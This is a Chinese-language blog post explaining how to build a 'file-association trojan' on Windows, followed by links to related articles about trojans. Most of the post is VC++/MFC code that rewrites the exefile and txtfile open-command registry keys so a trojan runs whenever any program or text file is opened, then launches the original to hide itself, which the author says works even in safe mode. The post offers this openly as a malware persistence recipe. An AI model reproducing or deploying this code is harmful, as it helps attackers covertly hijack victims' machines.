文件关联型木马的编程思路

原创 2002年06月13日 13:13:00

我们知道一般情况下想在开机启动程序,就要把程序写在注册表中的

HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Run

HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run

HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/RunService

等环境中,由于这个值大家都比较熟悉所以很容易被查出,而且进入了windows保护模式这些程序是不会运行的,但是如果我们把我们的程序在注册表中进行了关联却收到了很好的结果。

在注册表HKEY_CLASSES_ROOT/exefile/shell/open/command中的值就是可执行程序*.exe 文件的关联处,缺省为“"%1" %*”,如果把这个程序改为我们的木马程序,那样的话,每执行一个可执行程序就会执行我们的程序,而不会再执行原有的程序,这样我们的木马就起动了,我们要做的工作就是我们的木马启动后,再执行原有的程序,这样对于一般的人来看好像什么事也没发生过。好了心动不如行动,我们开始动手做一个吧。

 <?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" />

l         首先用vc建立一个基于对话框的程序srart

CstartDlg加入公有变量       HANDLE hMutex;防止我们的木马运行多次。

l         CStartDlg::OnInitDialog()中加入如下函数:

       CString str;

       str.Format("%s", AfxGetApp()->m_lpCmdLine);//取得传入的命令行参数

       const char *MutexObject="MyStart";//建立互斥对象

       hMutex=NULL;

       hMutex=::CreateMutex(false,false,MutexObject);

       if(hMutex!=NULL)

       {

              DWORD err=GetLastError();

 

              if(err==ERROR_ALREADY_EXISTS) ::PostQuitMessage(0);//如果发现同一程序已经运行,则退出

             

       }

       if(str!="")

       {

              CString temp;

              char ch;

              int length =str.GetLength();

              for(int i=0;i<length;i++)

              {

                     ch=str.GetAt(i);

                     if(ch=='//')

                            temp=temp+"////";

                     else temp=temp+ch;

                    

              }      

              temp = temp.Left(temp.GetLength() - 2);

                     temp = temp.Mid(1);     //上面的函数是把字符串中所有的”/”变为”//”

              char str1[]="/"%1/" %*"; 

              ::RegSetValue(HKEY_CLASSES_ROOT,"exefile//shell//open//command",

                     REG_SZ,(LPCTSTR)str1 , strlen(str1) + 1);

       // 在执行原有程序之前必须把注册表恢复,否则用ShellExecute还是执行我们的木马程序。

                ShellExecute(NULL,"open",temp,NULL,NULL,SW_SHOW);//执行原有的程序

                }

//在程序执行完成后,再把注册表改为我们要启动的木马程序的

       TCHAR str2[256];

    // 得到程序全路径名

       GetModuleFileName( NULL, str2, 255 );

       strcat(str2," /"%1/" %*");

              ::RegSetValue(HKEY_CLASSES_ROOT,"exefile//shell//open//command",

                     REG_SZ,(LPCTSTR)str2 , strlen(str2) + 1);

//经过上述过程只要程序一运行就会执行我们的start 程序了。即使是在安全模式下只要执行可执行程序就会运行我们的程序了。

 

同样的我们也可以将其它文件进行关联,例如将文本文件进行关联,在CStartDlg::OnInitDialog()中重新加下代码

       CString str;

       str.Format("%s",AfxGetApp()->m_lpCmdLine);//取得传入的命令行参数

       const char *MutexObject="MyStart";//建立互斥对象

       hMutex=NULL;

       hMutex=::CreateMutex(false,false,MutexObject);

       if(hMutex!=NULL)

       {

              DWORD err=GetLastError();

 

              if(err==ERROR_ALREADY_EXISTS) ::PostQuitMessage(0);//如果发现同一程序已经运行,则退出

             

       }

       if(str.Find("txt")!=-1)

       {

              CString temp;

              char ch;

              int length =str.GetLength();

              for(int i=0;i<length;i++)

              {

                     ch=str.GetAt(i);

                     if(ch=='//')

                            temp=temp+"////";

                     else temp=temp+ch;

                    

              }      

              temp = temp.Left(temp.GetLength() - 2);

                     temp = temp.Mid(1);     //上面的函数是把字符串中的"/"变为"//"

              char str1[]="/"%1/" %*"; 

             

       // 在执行原有程序之前必须把注册表恢复,否则用ShellExecute还是执行我们的木马程序。

               ShellExecute(NULL,"open","notepad.exe",temp,NULL,SW_SHOW);//执行原有的程序

                }

//在程序执行完成后,再把注册表改为我们要启动的木马程序的

       TCHAR str2[256];

    // 得到程序全路径名

       GetModuleFileName( NULL, str2, 255 );

       strcat(str2," /"%1/" %*");

              ::RegSetValue(HKEY_CLASSES_ROOT,"txtfile//shell//open//command",

                     REG_SZ,(LPCTSTR)str2 , strlen(str2) + 1);

//经过上述过程只要程序一运行就会执行我们的start 程序了。      

       当然了这些程序在自己的机器上运行后还是要恢复的下面的函数就可以帮助进行恢复了

char str2[]="NOTEPAD.EXE %1";

              ::RegSetValue(HKEY_CLASSES_ROOT,"txtfile//shell//open//command",

                     REG_SZ,(LPCTSTR)str2 , strlen(str2) + 1);

              char str1[]="/"%1/" %*";

                     ::RegSetValue(HKEY_CLASSES_ROOT,"exefile//shell//open//command",

                     REG_SZ,(LPCTSTR)str1 , strlen(str1) + 1);

       当然了这个程序在win98下运行比较正常,在win2000下无法打开桌面上的文件夹,再也就没什么问题了。如果谁知道,请告诉我,

sunyuzhe@263.net

一个感染型木马病毒分析(一)

一、 样本信息 样本名称:resvr.exe(病毒母体) 样本大小:70144 字节 病毒名称:Trojan.Win32.Crypmodadv.a 样本MD5:5E63F3294520B7C07...
  • QQ1084283172
  • QQ1084283172
  • 2015年08月04日 19:00
  • 3017

什么是木马和反弹木马?

什么是木马?特洛伊木马(以下简称木马),英文叫做“  Trojan house”  ,其名称取自希腊神话的特洛伊木马记。 它是一种基于远程控制的黑客工具,具有隐蔽性和非授权性的特点。 所谓隐蔽性是指木...
  • ciahi
  • ciahi
  • 2006年09月02日 21:28
  • 2787

Keygen.exe——一个比较难对付的DLL木马

作者:baohe样本来源:http://keygen.name/download/delta.force.xtreme_keygen.exe特点:1、Keygen.exe运行后,在system32文件...
  • zhbchn
  • zhbchn
  • 2007年03月31日 16:45
  • 1924

exe打开方式被木马或病毒修改,无法打开任何可执行文件的解决办法

对于exe打开方式被木马或病毒修改,无法打开任何可执行文件的解决办法。 方案一:     先将regedit.exe改名为regedit.com或regedit.scr。 运行regedit.c...
  • qq_22642239
  • qq_22642239
  • 2018年01月22日 11:27
  • 63

木马的C/S架构

远程计算机监控和管理,让网络管理员可以不必亲临计算机,就可以像坐在计算机前 面一样进行管理,大大地提高了管理工作的效率和方便性。只是这些功能必须利用操作系 统内建的监控工具或安装其他网络管理工具才能实...
  • neibubo1
  • neibubo1
  • 2012年11月21日 10:47
  • 454

U盘文件被木马隐藏

今天又突然发现U盘 插入电脑后变为空的了。身边好多同学都好像遇到过这种问题,之前也自己遇到过一次这种情况,旦怎么解决的已经忘记了,于是继续去百度,然后再筛选,尝试正确的解决方法。 如果是平时还好,但...
  • JYL1159131237
  • JYL1159131237
  • 2017年12月17日 15:44
  • 327

修复被木马或病毒隐藏的文件夹

最近文件夹邮递员木马和病毒肆行,在优盘上到处传播,虽然最新的杀毒软件能杀灭该病毒,但杀毒软件却不知道去恢复被隐藏的文件夹,导致杀毒后目录全看不到了,更有不少人以为是优盘坏了。被该木马感染的优盘,会自动...
  • chocolate001
  • chocolate001
  • 2010年07月07日 13:17
  • 5589

Python自制键盘记录木马!

声明 我开发这个程序只有一个目的:学习。绝不会用于其他用途!我发布这个程序也只有一个目的:分享学习经验。鉴于其并没有任何反查杀功能,危害较小,故公开源码,以供新手学习之用。...
  • u012216571
  • u012216571
  • 2015年03月09日 21:45
  • 3760

修复被木马或病毒隐藏的文件

对于学校的电脑有时真的感到很苦恼,U盘一插就中毒了。不过,每中一次毒,我都能学会如何解这种木马或病毒。下面我就介绍一下这次中的毒有什么特征以及如何解毒。 1.特征:   被感染的U盘中的会自动生成...
  • wangyajin333
  • wangyajin333
  • 2013年05月21日 21:22
  • 2409

《DLL木马进程内幕大揭秘》

如果是位经常玩“马马”的朋友,那么一般情况下都会或多或少掌握一些木马的特性,然而,很多朋友还是不知道“DLL木马”是什么东东。那到底什么是“DLL木马”呢?它与一般的木马又有什么不同?带着这些疑问,一...
  • zz709196484
  • zz709196484
  • 2017年06月05日 00:32
  • 701
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:文件关联型木马的编程思路
举报原因:
原因补充:

(最多只允许输入30个字)